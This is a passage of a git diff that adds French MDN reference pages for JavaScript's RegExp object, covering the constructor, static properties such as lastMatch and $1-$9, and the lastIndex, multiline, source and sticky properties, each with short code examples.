À partir d'ECMAScript 6, new RegExp(/ab+c/, 'i') ne déclenche plus d'exception {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") lorsque le premier argument est une RegExp et que le second argument marqueurs est présent. Une nouvelle RegExp sera créée à la place à partir des arguments.

+ +

Lorsqu'on utilise le constructeur, les règles normales d'échappement de chaîne (le fait de faire précéder d'un \ les caractères spéciaux à l'intérieur d'une chaîne) sont requises. Par exemple, les définitions suivantes sont équivalentes :

+ +
var re = /\w+/;
+var re = new RegExp('\\w+');
+
+ +

Propriétés

+ +
+
{{jsxref("RegExp.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à tous les objets qui sont des expressions rationnelles.
+
RegExp.length
+
La valeur de longueur pour le constructeur dont la valeur est 2.
+
{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}
+
La fonction de construction utilisée pour créer les objets dérivés.
+
{{jsxref("RegExp.lastIndex")}}
+
L'indice à partir duquel rechercher la prochaine correspondance.
+
+ +

Méthodes

+ +

L'objet global RegExp ne possède pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

+ +

Le prototype de RegExp et les instances

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Propriétés')}}
+ +

Méthodes

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Méthodes')}}
+ +

Exemples

+ +

Utiliser une expression rationnelle pour modifier un format de données

+ +

Dans le script suivant, on utilise la méthode {{jsxref("String.prototype.replace()", "replace()")}} de {{jsxref("String")}} pour effectuer une correspondance sur le prénom et le nom pour les inverser. On utilise des parenthèses capturantes pour pouvoir utiliser les correspondances dans la construction du résultat (avec $1 et $2).

+ +
var re = /(\w+)\s(\w+)/;
+var chaîne = 'Alain Dupont';
+var nouvelleChaîne = chaîne.replace(re, '$2, $1');
+console.log(nouvelleChaîne);
+
+ +

Cela affichera "Dupont, Alain".

+ +

Utiliser une expression rationnelle pour découper des lignes avec différents sauts de ligne/fins de ligne

+ +

La fin de ligne par défaut dépend de la plateforme (Unix, Windows, etc.). Cette méthode de découpage fournie permet de découper indépendamment de la plateforme utilisée.

+ +
var texte = 'Un texte\net un autre\r\npuis ensuite\rla fin';
+var lignes = texte.split(/\r\n|\r|\n/);
+console.log(lignes); // affiche [ 'Un texte', 'et un autre', 'puis ensuite', 'la fin' ]
+
+ +

On voit ici que l'ordre des modèles dans l'expression rationnelle importe.

+ +

Utiliser une expression rationnelle sur plusieurs lignes

+ +
var s = 'Et voici\nune autre ligne !';
+s.match(/voici.*ligne/);
+// Renvoie null
+s.match(/voici[^]*ligne/);
+// Renvoie ['voici\nune autre ligne']
+
+ +

Utiliser une expression rationnelle avec le marqueur d'adhérence

+ +

Cet exemple illustre comment on peut utiliser ce marqueur qui recherche une correspondance après {{jsxref("RegExp.prototype.lastIndex")}}.

+ +
var str = '#toto#';
+var regex = /toto/y;
+
+regex.lastIndex; // 0
+regex.test(str); // true
+regex.lastIndex = 1;
+regex.test(str); // true
+regex.lastIndex = 5;
+regex.test(str); // false (lastIndex est pris en compte avec ce marqueur)
+regex.lastIndex; // 0 (réinitialisation suite à l'échec)
+ +

Les expressions rationnelles et les caractères Unicode

+ +

Comme mentionné ci-avant, les classes \w ou \W ne correspondent qu'à des caractères ASCII "a" à "z", "A" à "Z", "0" à "9" et "_". Pour effectuer des correspondances sur d'autres caractères (comme par exemple les caractères cyrilliques), on utilisera \uhhhh, où "hhhh" représente la valeur Unicode exprimée en hexadécimal. Cet exemple illustre comment il est possible de séparer les caractères Unicode d'un mot.

+ +
var texte = 'Образец text на русском языке';
+var regex = /[\u0400-\u04FF]+/g;
+
+var corresp = regex.exec(texte);
+console.log(corresp[0]);      // affiche 'Образец'
+console.log(regex.lastIndex); // affiche '7'
+
+var corresp2 = regex.exec(texte);
+console.log(corresp2[0]);     // affiche 'на' (n'affiche pas text
+console.log(regex.lastIndex); // affiche '15'
+
+// et ainsi de suite
+
+ +

Voici une ressource tierce pour obtenir les différents intervalles Unicode des différents alphabets : Regexp-unicode-block.

+ +

Extraire un sous-domaine d'une URL

+ +
var url = 'http://xxx.domaine.com';
+console.log(/[^.]+/.exec(url)[0].substr(7)); // affiche 'xxx'
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}{{Spec2('ES6')}} +

Le constructeur RegExp ne renvoie plus d'exception lorsqu'il est utilisé avec un objet RegExp et que le second argument est utilisé. Ajout du marqueur d'adhérence et du marqueur Unicode.

+
{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp")}}

+ +

Notes spécifiques à Firefox

+ +

À partir de Firefox 34, dans le cas où on utilise un groupe capturant avec des quantificateurs qui l'invalident, le texte correspondant au groupe est désormais undefined et non la chaîne vide :

+ +
// Firefox 33 ou antérieur
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:'
+
+// Firefox 34 ou supérieur
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:undefined'
+
+ +

Pour des raisons de compatibilité web, RegExp.$N renverra une chaîne vide au lieu de undefined ({{bug(1053944)}}).

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/regexp/input/index.html b/files/fr/web/javascript/reference/global_objects/regexp/input/index.html new file mode 100644 index 0000000000..14a14258a9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/input/index.html @@ -0,0 +1,59 @@ +--- +title: RegExp.input ($_) +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/input +tags: + - JavaScript + - Non-standard + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/input +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété non-standard input est une propriété statique de l'expression rationnelle qui contient la chaîne de caractères sur laquelle est effectuée la recherche de correspondances. RegExp.$_ est un alias de cette propriété.

+ +

Syntaxe

+ +
RegExp.input
+RegExp.$_
+
+ +

Description

+ +

La propriété input est statique. Ce n'est pas la propriété d'une instance d'expression rationnelle. Cette propriété doit toujours être utilisée avec la syntaxe RegExp.input ou RegExp.$_.

+ +

La valeur de la propriété input est modifiée à chaque fois que la chaîne sur laquelle on recherche est modifiée et qu'il y a une correspondance.

+ +

Exemples

+ +

Utiliser input et $_

+ +
var re = /coucou/g;
+re.test("coucou toi !");
+RegExp.input;         // "coucou toi !"
+re.test("toto");      // nouveau test, pas de correspondance
+RegExp.$_;            // "coucou toi !"
+re.test("coucou monde !"); // nouveau test avec correspondance
+RegExp.$_;            // "coucou monde !"
+
+ +

Spécifications

+ +

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.input")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.html b/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.html new file mode 100644 index 0000000000..21c024c57a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.html @@ -0,0 +1,104 @@ +--- +title: regExp.lastIndex +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastIndex +tags: + - JavaScript + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex +--- +
{{JSRef}}
+ +

La propriété lastIndex est un entier en lecture/écriture qui permet de définir l'indice (position) à partir duquel chercher la prochaine correspondance pour une instance d'expression rationnelle donnée.

+ +
{{EmbedInteractiveExample("pages/js/regexp-lastindex.html")}}
+ + + +
{{js_property_attributes(1,0,0)}}
+ +

Syntaxe

+ +
regExpObj.lastIndex
+
+ +

Description

+ +

Cette propriété n'est définie que si l'instance d'expression rationnelle utilise le marqueur (flag) "g" pour effectuer une recherche globale ou le marqueur "y" afin d'effectuer une recherche adhérente. Les règles suivantes s'appliquent :

+ +
    +
  • Si lastIndex est supérieur à la longueur de la chaîne de caractères, regexp.test et regexp.exec échoueront et lastIndex sera redéfini à 0.
    • +
  • Si lastIndex est égal à la longueur de la chaîne de caractères et si l'expression rationnelle correspond avec la chaîne vide, il y aura une correspondance à partir de lastIndex.
    • +
  • Si lastIndex est égal à la longueur de la chaîne de caractères et que l'expression rationnelle ne peut correspondre à la chaîne vide, on n'aura pas de correspondance et lastIndex sera réinitialisé à 0.
    • +
  • Sinon, lastIndex sera défini à la position suivant la correspondance la plus récente.
    • +
+ +

Exemples

+ +

Si on a la séquence d'instructions suivante :

+ +
var re = /(hi)?/g;
+
+ +

Correspond à la chaîne vide.

+ +
console.log(re.exec('hi'));
+console.log(re.lastIndex);
+
+ +

Renvoie ["hi", "hi"] avec lastIndex égal à 2.

+ +
console.log(re.exec('hi'));
+console.log(re.lastIndex);
+
+ +

Renvoie ["", undefined], un tableau dont le premier élément est la chaîne vide car lastIndex valait 2 (et vaut toujours 2) et "hi" était de longueur 2.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. JavaScript 1.5 : lastIndex est une propriété d'une instance de RegExp et n'est pas une propriété directe de RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.lastIndex")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • +
  • {{jsxref("RegExp.prototype.global")}}
    • +
  • {{jsxref("RegExp.prototype.multiline")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
  • {{jsxref("RegExp.prototype.sticky")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/fr/web/javascript/reference/global_objects/regexp/lastmatch/index.html new file mode 100644 index 0000000000..08669d885b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -0,0 +1,58 @@ +--- +title: RegExp.lastMatch ($&) +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastMatch +tags: + - JavaScript + - Non-standard + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété non-standard lastMatch est une propriété statique en lecture seule pour les expressions rationnelles qui contient les caractères de la dernière correspondance. RegExp.$& est un alias pour cette propriété.

+ +

Syntaxe

+ +
RegExp.lastMatch
+RegExp['$&']
+
+ +

Description

+ +

La propriété lastMatch est une propriété statique, ce n'est pas une propriété pour chaque objet qui représente une expression rationnelle. Cette propriété doit donc toujours être utilisée avec la syntaxe RegExp.lastMatch ou RegExp['$&'].

+ +

La valeur de la propriété lastMatch n'est accessible qu'en lecture seule et est modifiée à chaque fois qu'une correspondance est trouvée.

+ +

Il n'est pas possible d'utiliser l'alias avec la notation utilisant le point pour accéder à la propriété (RegExp.$&) car le parseur attend une expression avec "&" dans ce cas, ce qui provoque une exception {{jsxref("SyntaxError")}}. Pour utiliser l'alias, on prendra donc la notation utilisant les crochets.

+ +

Exemples

+ +

Utiliser lastMatch et $&

+ +
var re = /coucou/g;
+re.test("coucou toi!");
+RegExp.lastMatch; // "coucou"
+RegExp['$&'];     // "coucou"
+
+ +

Spécifications

+ +

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.lastMatch")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/lastparen/index.html b/files/fr/web/javascript/reference/global_objects/regexp/lastparen/index.html new file mode 100644 index 0000000000..da607ed4bc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/lastparen/index.html @@ -0,0 +1,57 @@ +--- +title: RegExp.lastParen ($+) +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastParen +tags: + - JavaScript + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastParen +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété lastParen est une propriété statique accessible en lecture seule qui contient la dernière correspondance enregistrée dans un groupe (entre parenthèse) si jamais elle existe. RegExp.$+ est un alias pour cette propriété.

+ +

Syntaxe

+ +
RegExp.lastParen
+RegExp['$+']
+
+ +

Description

+ +

La propriété lastParen est une propriété statique, ce n'est pas une propriété liée à chaque objet. Il faut donc toujours utiliser la syntaxe RegExp.lastParen ou RegExp['$+'].

+ +

La valeur de la propriété lastParen n'est accessible qu'en lecture seule et est modifiée automatiquement à chaque fois qu'il y a une correspondance.

+ +

Cet alias ne peut pas être utilisé avec la notation utilisant le point pour l'accès aux propriétés (RegExp.$+). En effet, le parseur attend une expression avec "+", dans ce cas, une exception {{jsxref("SyntaxError")}} est levée. Pour utiliser cette notation raccourcie, on utilisera la notation avec les crochets.

+ +

Exemples

+ +

Utiliser lastParen et $+

+ +
var re = /(coucou)/g;
+re.test("coucou toi !");
+RegExp.lastParen; // "coucou"
+RegExp['$+'];     // "coucou"
+
+ +

Spécifications

+ +

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.lastParen")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/leftcontext/index.html b/files/fr/web/javascript/reference/global_objects/regexp/leftcontext/index.html new file mode 100644 index 0000000000..e886719276 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/leftcontext/index.html @@ -0,0 +1,56 @@ +--- +title: RegExp.leftContext ($`) +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/leftContext +tags: + - JavaScript + - Non-standard + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/leftContext +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété non-standard leftContext est une propriété statique accessible uniquement en lecture. Cette propriété liée aux expressions rationnelles contient la sous-chaîne qui précède la correspondance la plus récente. RegExp.$` est un alias pour cette propriété.

+ +

Syntaxe

+ +
RegExp.leftContext
+RegExp['$`']
+
+ +

Description

+ +

La propriété leftContext est une propriété statique, elle n'est donc pas distincte entre les différents objets représentants les expressions rationnelles. Il faut donc toujours utiliser la syntaxe RegExp.leftContext ou RegExp['$`'].

+ +

La valeur de la propriété leftContext n'est accessible uniquement qu'en lecture. Elle est modifiée par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.

+ +

L'alias ne peut pas être utilisé avec la notation utilisant le point (RegExp.$`). En effet, le parseur attend un gabarit de chaîne à la suite de l'accent grave. Si on utilise le point, on aura donc une exception {{jsxref("SyntaxError")}}. Pour cet alias, on utilisera la notation à base de crochets.

+ +

Exemples

+ +
var re = /monde/g;
+re.test("coucou monde !");
+RegExp.leftContext; // "coucou "
+RegExp['$`'];       // "coucou "
+
+ +

Spécifications

+ +

Cette propriété n'est pas standard et ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.leftContext")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.html b/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.html new file mode 100644 index 0000000000..4e73d4e5a5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.html @@ -0,0 +1,87 @@ +--- +title: RegExp.prototype.multiline +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/multiline +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/multiline +--- +
{{JSRef}}
+ +

La propriété multiline indique si le drapeau (flag) "m" a été utilisé ou non pour l'expression rationnelle. multiline est une propriété liée à l'instance, accessible en lecture seule.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-multiline.html", "taller")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

La valeur de multiline est un booléen. Elle vaut true si le drapeau "m" a été utilisé et false sinon. Le flag "m" indique qu'une chaine de caractères qui s'étend sur plusieurs lignes doit être traitée comme une série de ligne. Ainsi, si "m" est utilisé, "^" et "$" ne correspondent plus au début et à la fin de la chaîne mais aux débuts et aux fins de chaque ligne de la chaîne.

+ +

Cette propriété ne peut pas être modifiée directement.

+ +

Exemples

+ +
var regex = new RegExp("toto", "m");
+
+console.log(regex.multiline); // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : multiline est une propriété liée à l'instance de {{jsxref("RegExp")}} et non à l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}{{Spec2('ES6')}}multiline est désormais un propriété du prototype sous forme d'accesseur plutôt qu'une propriété directement liée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.multiline")}}

+ +

Notes de compatibilité

+ +
    +
  • Avant Firefox 48 , une propriété globale non-standard RegExp.multiline existait en plus de la propriété RegExp.prototype.multiline. Elle a été retirée dans les nouvelles versions du moteur (cf. {{bug(1219757)}}). On utilisera la propriété décrite sur cette page ou le marqueur m à la place.
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.global")}}
    • +
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • +
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
  • {{jsxref("RegExp.prototype.sticky")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/n/index.html b/files/fr/web/javascript/reference/global_objects/regexp/n/index.html new file mode 100644 index 0000000000..ecbda5eac8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/n/index.html @@ -0,0 +1,68 @@ +--- +title: RegExp.$1-$9 +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/n +tags: + - JavaScript + - Non-standard + - Propriété + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n +--- +
{{JSRef}} {{non-standard_header}}
+ +

Les propriétés non-standard $1, $2, $3, $4, $5, $6, $7, $8, $9 sont des propriétés statiques accessibles en lecture qui contiennent les différents groupes capturés par une expression rationnelle.

+ +

Syntaxe

+ +
RegExp.$1
+RegExp.$2
+RegExp.$3
+RegExp.$4
+RegExp.$5
+RegExp.$6
+RegExp.$7
+RegExp.$8
+RegExp.$9
+
+ +

Description

+ +

Les propriétés $1, ..., $9 sont des propriétés statiques. Ce ne sont pas des propriétés rattachées à une expression rationnelle donnée. Pour cette raison, on utilisera toujours la syntaxe RegExp.$1, ..., RegExp.$9.

+ +

Les valeurs de ces propriétés ne sont accessibles qu'en lecture et sont modifiées par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.

+ +

Le nombre de groupe d'une expression rationnelle n'est pas limité. Cependant, l'objet RegExp ne contient que les neufs premiers groupes. Pour accéder à chacun des groupes liés à une expression rationnelle donnée, on pourra utiliser les indices du tableau relevant les correspondances.

+ +

Ces propriétés peuvent être utilisées pour le texte de remplacement de la méthode {{jsxref("String.replace")}}. Avec cette méthode, on ne préfixera pas les valeurs par RegExp (voir l'exemple ci-après), lorsque les parenthèses groupantes ne sont pas utilisées dans l'expression, $n sera interprété littérallement (avec n un entier positif).

+ +

Exemples

+ +

Dans le script qui suit, on utilise {{jsxref("String.prototype.replace()", "replace()")}} d'une instance de {{jsxref("String")}} pour inverser le premier mot et le dernier et placer une virgule entre. Le script utilise $1 et $2 pour faire référence aux groupes de l'expression rationnelle :

+ +
var re = /(\w+)\s(\w+)/;
+var str = 'Jean Biche';
+str.replace(re, '$2, $1'); // "Biche, Jean"
+RegExp.$1; // "Jean"
+RegExp.$2; // "Biche"
+
+ +

Spécifications

+ +

Ces propriétés ne sont pas standard, elles ne font partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.n")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/rightcontext/index.html b/files/fr/web/javascript/reference/global_objects/regexp/rightcontext/index.html new file mode 100644 index 0000000000..924c4e564d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/rightcontext/index.html @@ -0,0 +1,57 @@ +--- +title: RegExp.rightContext ($') +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/rightContext +tags: + - JavaScript + - Non-standard + - Propriété + - Reference + - RegExp + - Regular Expressions +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/rightContext +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété non-standard rightContext est une propriété statique, accessible uniquement en lecture, qui contient la sous-chaîne suivant la correspondance la plus récente. RegExp.$' est un alias pour cette propriété.

+ +

Syntaxe

+ +
RegExp.rightContext
+RegExp["$'"]
+
+ +

Description

+ +

La propriété rightContext est une propriété statique et n'est pas liée à une instance d'expression rationnelle. Pour cette raison, il faut toujours utiliser la syntaxe RegExp.rightContext ou RegExp["$'"].

+ +

La valeur de la propriété rightContext n'est accessible qu'en lecture. Le moteur la modifie à chaque fois qu'une nouvelle correspondance est trouvée.

+ +

L'alias ne peut pas être utilisé avec la syntaxe utilisant le point (RegExp.$'). En effet, l'analyseur (parser) attend un début de chaîne du fait de la simple quote, ce qui provoquerait une exception {{jsxref("SyntaxError")}}. Il faut donc utiliser la notation à base de crochets.

+ +

Exemples

+ +
var re = /coucou/g;
+re.test("coucou monde !");
+RegExp.rightContext; // " monde !"
+RegExp["$'"];       // " monde !"
+
+ +

Spécifications

+ +

Cette propriété n'est pas standard, elle ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.rightContext")}}

+ +

Voir aussi

+ +
    +
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • +
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/source/index.html b/files/fr/web/javascript/reference/global_objects/regexp/source/index.html new file mode 100644 index 0000000000..53d8e7a93f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/source/index.html @@ -0,0 +1,82 @@ +--- +title: RegExp.prototype.source +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/source +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source +--- +
{{JSRef}}
+ +

La propriété source renvoie une chaîne de caractères qui contient le texte du motif à rechercher (pattern), sans les barres obliques (slashes). C'est une propriété en lecture seule liée à l'instance. source ne contient aucun des options ou drapeaux (flags) (tels que "g", "i" ou "m") de l'expression rationnelle.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-source.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Exemples

+ +

Utiliser source

+ +
var regex = /totoMachin/ig;
+
+console.log(regex.source); // "totoMachin"
+
+ +

Les expressions ratonnelles vides et l'échappement

+ +

À partir d'ECMAScript 5, la propriété source ne renvoie plus une chaîne vide pour les expressions rationnelles vides. Elle renvoie la chaîne "(?:)". De plus, les fins de lignes (telles que "\n") sont désormais échappées.

+ +
new RegExp().source; // "(?:)"
+
+new RegExp('\n').source === "\n";  // true avant ES5
+new RegExp('\n').source === "\\n"; // true à partir d'ES5
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : source est une propriété de l'instance de {{jsxref("RegExp")}}, ce n'est pas une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.1', 'RegExp.prototype.source')}}{{Spec2('ES5.1')}}source renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.
{{SpecName('ES6', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}{{Spec2('ES6')}}source est désormais un accesseur lié au prototype plutôt qu'une propriété directement rattachée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.source")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.flags")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.html b/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.html new file mode 100644 index 0000000000..27dc60d802 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.html @@ -0,0 +1,95 @@ +--- +title: RegExp.prototype.sticky +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/sticky +tags: + - ECMAScript 2015 + - Expressions rationnelles + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/sticky +--- +
{{JSRef}}
+ +

La propriété sticky (adhérante) permet de déterminer si la recherche s'effectue uniquement à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} lié à l'expression rationnelle ou non). sticky est une propriété accessible en lecture seule, rattachée à l'instance.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-sticky.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

